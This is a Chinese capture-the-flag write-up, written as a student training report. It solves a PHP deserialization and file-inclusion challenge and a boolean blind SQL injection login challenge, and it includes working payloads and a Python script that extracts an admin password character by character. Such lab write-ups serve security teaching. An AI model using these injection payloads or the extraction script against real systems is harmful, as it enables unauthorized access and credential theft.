welcome_to_bugkuctf和Login3的writeup

信息安全实习实训报告

由于我的电脑落在了教室里,所以我只能以md文档的形式提交我的这次报告。

bugku 反序列化漏洞

题目地址: welcome_to_bugkuctf
1 .打开网址,提示you are not the number of bugku ! 老规矩,看源码:

<html><head></head><body>you are not the number of bugku !   
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  </body></html>

2.发现这里面有3个参数,通过txt,file和password三个地方传入。
看到if的条件,需要设置user并且让user的值成为"welcome to the bugkuctf",利用PHP://input访问请求的原始数据,并把txt设置为"welcome to the bugkuctf".
在这里插入图片描述
得到页面反馈,
在这里插入图片描述
源码里有include()这个函数,所以利用下面的方法拿到各个页面的源代码:
在这里插入图片描述
hint.php

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>   

index.php

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->    

3.可以看到index.php里面有一句preg_match,杜绝了我们直接通过流读取flag.php内容的念头。我们发现,我们最开始拿到的三个传参点的password还没派上用场呢。

include($file);   
$password = unserialize($password);  
echo $password;  

这部分代码告诉我们要构造序列化参数password,include告诉我们又可以包含文件了,hint.php里有一个__tostring方法,而该方法里又有一个file_get_contents方法,那我们就构造相应的参数调用这部分内容就可以了。
构造password: O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
在这里插入图片描述
POST /test1/?txt=php://input&file=hint.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
拿到flag:在这里插入图片描述

login3(SKCTF)

题目地址:login3
尝试输入,发现在用户名处存在注入。
在这里插入图片描述
输入’发现网页提示非法字符,该网站存在过滤。用burp加我们老师提供的sql字典测试一下都过滤了哪些sql命令。
在这里插入图片描述
可以看到,像空格,for,order by,union 、and等字符都被限制了。
在这里插入图片描述
我们还有以下部分可以使用,
在这里插入图片描述
注意到页面有两处回显,分别是username does not exist!和password error!,我们可以利用布尔注入来登录。
admin'^0#
我们用()去代替空格,#来闭合语句,可以构造出类似下面的语句。

admin’ ^(ascii(mid(database()from(1)))<>97)^0#

加一个^0的目的是, 使得1^x^0=~x,x为假时,页面将报告password error!。否则,将报告username does not exist!(这和我们练习时的true和false的显示实际上一样)。
password error<=>false!
经过一系列的验证,
username=admin'^(ascii(mid(database()from(§1§)))<>§97§)^0#&password=11
在这里插入图片描述
得到数据库名为:98 108 105 110 100 115 113 108 ,blindsql
利用下面的语句获取密码:
admin’^(ascii(mid((select(password)from(admin))from($1$)))<>$97$)^0#
发现密码的长度居然长于30位,看来是被加密后的字符串了,只能上脚本了。

在这里插入图片描述
最后附上脚本:

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
def password():
    resutlt=""
    for i in range(40):
        fla=0
        for j in str_all:
            playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
            data = {
                "username": playlod,
                "password": "11"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                fla=1
                print('**************************',resutlt)
        if fla==0:
            break
#databasere()
password()
```
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值